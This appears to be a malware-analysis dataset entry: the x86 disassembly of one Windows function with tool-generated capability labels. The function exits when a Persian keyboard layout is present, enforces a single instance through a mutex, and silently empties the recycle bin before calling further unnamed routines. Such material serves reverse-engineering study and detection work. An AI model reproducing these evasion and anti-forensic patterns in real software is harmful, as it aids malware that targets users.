Function at 0x425390
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Empty the recycle bin
Get keyboard layout
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4cbce0
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x4fd0b8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
push 0
push 0
call edi
xor ecx, ecx
mov ebx, eax
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00479477
add esp, 4
mov esi, eax
push esi
push ebx
call edi
test eax, eax
je 0x425412
xor ecx, ecx
test ebx, ebx
jle 0x425412
mov edx, 0x429
nop word [eax + eax]
movzx eax, word [esi + ecx*4]
cmp ax, dx
je 0x4254ac
inc ecx
cmp ecx, ebx
jl 0x425400
test esi, esi
je 0x425421
push 4
push esi
call fcn.0047904e
add esp, 8
call fcn.00446fe0
push 0x24
xorps xmm0, xmm0
mov dword [ebp - 0x2c], 0
push 0x4ed400
lea ecx, [ebp - 0x3c]
movlpd qword [ebp - 0x24], xmm0
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
call fcn.00425720
cmp dword [ebp - 0x28], 0x10
lea eax, [ebp - 0x3c]
cmovae eax, dword [ebp - 0x3c]
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x24], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
setne bl
mov byte [ebp - 0x20], bl
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x28]
cmp edx, 0x10
jb 0x4254be
mov ecx, dword [ebp - 0x3c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4254b4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42567d
jmp 0x4254b4
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push edx
push ecx
call fcn.0047904e
add esp, 8
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
test bl, bl
jne 0x4254dc
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00428c90
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
lea ecx, [ebp - 0x1c]
call fcn.0043e3d0
mov byte [ebp - 4], 1
mov edi, dword [ebp - 0x18]
mov esi, dword [ebp - 0x1c]
cmp esi, edi
je 0x425511
mov ecx, esi
call fcn.00446d90
add esi, 0x18
cmp esi, edi
jne 0x425503
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0
call fcn.00432f40
call fcn.00447370
call fcn.0044c310
call fcn.0044cb20
call fcn.0044d9e0
call fcn.004494a0
lea ecx, [ebp - 0x1c]
call fcn.0043ecd0
mov edi, dword [ebp - 0x18]
mov esi, dword [ebp - 0x1c]
cmp esi, edi
je 0x425556
mov ecx, esi
call fcn.00449920
add esi, 0x18
cmp esi, edi
jne 0x425548
lea ecx, [ebp - 0x1c]
call fcn.00432f40
call fcn.00432110
mov esi, dword [0x508820]
test esi, esi
je 0x42557f
mov ecx, esi
call fcn.004286d0
push 0x7c
push esi
call fcn.0047904e
add esp, 8
mov esi, dword [0x508824]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x425625
mov ecx, esi
mov byte [ebp - 4], 2
call fcn.004277d0
mov eax, dword [esi + 4]
test eax, eax
je 0x42560d
mov ecx, dword [esi + 8]
mov edx, eax
cmp eax, ecx
je 0x4255c1
nop
cmp dword [eax + 4], 0
jne 0x425678
add eax, 8
cmp eax, ecx
jne 0x4255b0
mov eax, dword [esi + 0xc]
sub eax, edx
sar eax, 3
lea ecx, [eax*8]
cmp ecx, 0x1000
jb 0x4255ee
mov ebx, dword [edx - 4]
add ecx, 0x23
sub edx, ebx
lea eax, [edx - 4]
cmp eax, 0x1f
ja 0x42567d
mov edx, ebx
push ecx
push edx
call fcn.0047904e
mov dword [esi + 4], 0
add esp, 8
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov eax, dword [esi]
test eax, eax
je 0x425616
push eax
call edi
push 0x28
push esi
mov byte [ebp - 4], 0
call fcn.0047904e
add esp, 8
call fcn.004480f0
call fcn.0044adb0
call fcn.00449ae0
call fcn.0044c6a0
call fcn.0044d1d0
call fcn.0044ca10
call fcn.00451a50
call fcn.0044d580
mov esi, dword [ebp - 0x24]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call edi
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0047900d
mov esp, ebp
pop ebp
ret
call fcn.0049cb19
call fcn.0049a859
int3